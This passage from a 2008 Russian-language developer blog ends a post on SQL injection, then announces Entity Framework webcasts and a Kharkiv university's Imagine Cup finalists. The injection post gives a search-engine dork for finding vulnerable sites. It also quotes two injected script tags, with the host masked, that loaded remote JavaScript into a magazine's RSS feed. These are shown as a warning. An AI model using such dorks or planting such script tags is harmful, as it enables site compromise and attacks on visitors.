    Еще хочется обратить внимание на большое количество сайтов, которые не смотря ни на что, остаются подвержены атакам. Развитие поисковых систем стимулирует написание приложений, использующих их API как часть кода, автоматизирующего и облегчающего работу злоумышленнику. Достаточно написать в любом поисковике что-то вроде “inurl:select inurl:from inurl:where inurl:order” и посмотреть на результат …

     

    От себя хочу сказать, что все мы люди и нам свойственно допускать ошибки, но на ошибках нужно учиться (лучше на чужих) и существуют правила, нарушать которые нельзя ни при каких условиях, будь-то лабораторная работа или жизненно важный проект...

     

    PS Кстати известный портал Visual Studio Magazine Online несколько дней выдавал в RSS ленте вот такую информацию ...  Wink

    .... and Previous<script src=http://***.*****.com/m.js></script>

    .... Diagrams<script src=http://***.*****.сom/m.js></script>

     

    настройте свою систему бэкапов ... и пишите качественный код...

    Надіслане Monday, June 02, 2008 5:08 PM від Leshchinsky | 11 коментарів
    Помічено як: ,
  • Опубликованы 5 вебкастов "How Do I" в разделе Entity Framework Series

    How Do I Get Started with the Entity Framework? Presented by Alex James  Duration: 9 min 21 sec

    Ролик показывающий как быстро построить простую Entity Data Model (EDM). Entity Framework - Introduction - building a model.wmv

    How Do I Use the new Entity Data Source?  Presented by Diego Vega  Duration: 11 min 31 sec

    Видео показывающее основы использования Entity Data Source. EntityDataSource.wmv

    How Do I: Get Started with the Entity Framework Tools? Presented by Noam Ben-Ami  Duration: 12 min 36 sec 

    Ролик показывает примеры использования инструментария предоставляемого студией. SprocsDemo.wmv

    How Do I Serialize a Graph with the Entity Framework? Presented by Brian Dawson Duration: 4 min 37 sec

    Brian Dawson показывает как сериализовать Graph при разработке ASP.NET приложения с использованием ADO.NET Entity Framework. EntityFramework_GraphSerializationWCF.wmv

    How do I use Entity Client? Presented by Zlatko Michailov  Duration: 13 min 48 sec

    Вводное видео показывающее использование ADO.NET Entity Client в вашем приложении. 2008 - EntityClient.wmv   

     

     

    Надіслане Sunday, May 25, 2008 8:11 PM від Leshchinsky | 0 коментарів
    Помічено як: ,
  • Харьковский национальный университет радиоэлектроники отправляет ТРИ команды в Париж!

    Великолепный результат показали наши студенты в конкурсе «Imagine Cup 2008» - www.imaginecup.com, ежегодно проводимого Microsoft.

     

    Три наши команды вышли в мировой финал соревнования, который состоится

    в июле в Париже (Франция).

     

    Номинации:

    Software Design – Подлипенский П. (капитан), Ковалев Е., Дубровский А. студенты

                                    специальности ПОАС

                                    руководительКаук В.И.

    Embedded DevelopmentЦопа А.А. (капитан) аспирантка каф. ОРТ, Маковецкий С.А.                        

                                    магистр каф. ОРТ, Ткалич И.А. магистр каф. РЭС

                                    руководитель – Цопа А.И.

                                   впервые команда из Украины среди  15 финалистов

    Project Hoshimi – Ляпота П., Скрипачева М. студенты специальности ПОАС

                                   впервые команда из Украины среди 6 финалистов

                                                  

    Болейте за наших с 3 по 9 июля 2008 года

    Надіслане Friday, May 23, 2008 4:11 PM від Leshchinsky | 5 коментарів
    Помічено як: ,